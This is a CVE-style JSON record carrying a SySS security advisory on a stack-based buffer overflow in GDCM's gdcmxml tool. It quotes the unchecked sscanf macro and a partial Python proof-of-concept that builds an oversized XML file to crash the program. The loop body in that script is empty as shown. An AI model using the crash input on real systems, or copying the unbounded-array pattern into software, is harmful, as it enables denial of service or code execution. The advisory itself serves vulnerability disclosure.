{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-067\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Stack-based Buffer Overflow (CWE-121)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nGDCM\u0027s command-line tool gdcmxml, which converts between XML and DICOM\nfile formats, is vulnerable to a stack-based buffer overflow in the\nLoadValueInteger macro. An attacker who can control the XML input\nsupplied to the gdcmxml command-line application can cause an unbounded\nstack buffer overflow, potentially leading to a process crash or arbitrary\ncode execution in the context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series\nof macros for loading DICOM attribute values from XML, including\nLoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble\n(line 403). The LoadValueInteger macro declares a fixed-size stack array\nand populates it using sscanf() without any bounds checking on the\nelement count:\n\n  #define LoadValueInteger(type) \\\n    case type: \\\n      { \\\n      int count = 0; \\\n      int values[10]; \\\n      Element\u003ctype,VM::VM1_n\u003e el; \\\n      while(strcmp(name,\"Value\") == 0) \\\n        { \\\n        READ_NEXT \\\n        char *value_char = (char*)xmlTextReaderConstValue(reader); \\\n        int nvalue = sscanf(value_char, \"%d\", \u0026(values[count++]));  \\\n        gdcm_assert( nvalue == 1 ); (void)nvalue; \\\n        READ_NEXT /*Value ending tag*/ \\\n        name = (const char*)xmlTextReaderConstName(reader); \\\n        READ_NEXT \\\n        name = (const char*)xmlTextReaderConstName(reader); \\\n        } \\\n      el.SetLength( (count) * vr.GetSizeof() ); \\\n      int total = 0; \\\n      while(total \u003c count) \\\n        { \\\n        el.SetValue( (VRToType\u003cVR::type\u003e::Type)(values[total]), total); \\\n        total++; \\\n        } \\\n      de = el.GetAsDataElement(); \\\n      }break\n\nThe variable \u0027count\u0027 is incremented in the loop via the post-increment\noperator in the sscanf call (values[count++]) but is never checked against\nthe array size (10). Any XML input with more than 10 \u003cValue\u003e elements for\na VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the\nint values[10] array.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nFor demonstrating the sscanf() overflow vulnerability in LoadValueInteger,\na simple PoC non-control-data exploit was developed that crashes the\napplication.\n\nFor this, a malicious XML file with 360 \"Value\" elements is used. The\nsscanf() overflow corrupts a pointer at values[304] on the stack, which is\nloaded and dereferenced causing a segmentation fault.\n\nThe following Python script creates the malicious XML file:\n\ncat \u003e sscanf_overflow_poc.py \u003c\u003c \u0027PYEOF\u0027\nimport sys\n\nnum_values = 360\noutput = \"sscanf_overflow_poc.xml\"\n\nxml = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n\nxml += b\u0027\u003cDicomAttribute tag = \"00200010\" vr = \"IS\" keyword = \"StudyID\"\u003e\\n\u0027\n\nfor i in range(1, num_values + 1):\n\n\nxml += b\u0027\u003c/DicomAttribute\u003e\\n\u0027\nxml += b\u0027\u003c/NativeDicomModel\u003e\u0027\n\nwith open(output, \u0027wb\u0027) as f:\n    f.write(xml)\n\noverflow_elements = num_values - 10\nPYEOF\n\n\n\n\n$ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-067\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-121",
              "description": "CWE-121",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/71"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/71"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-067]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0434",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71",
            "automated": true,
            "contentSha256": "6e88c4ea98615ad0e663b5ad6e0c6441536d32492122c2e42eadb9cf71bc76f2",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/71",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:17Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0434"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}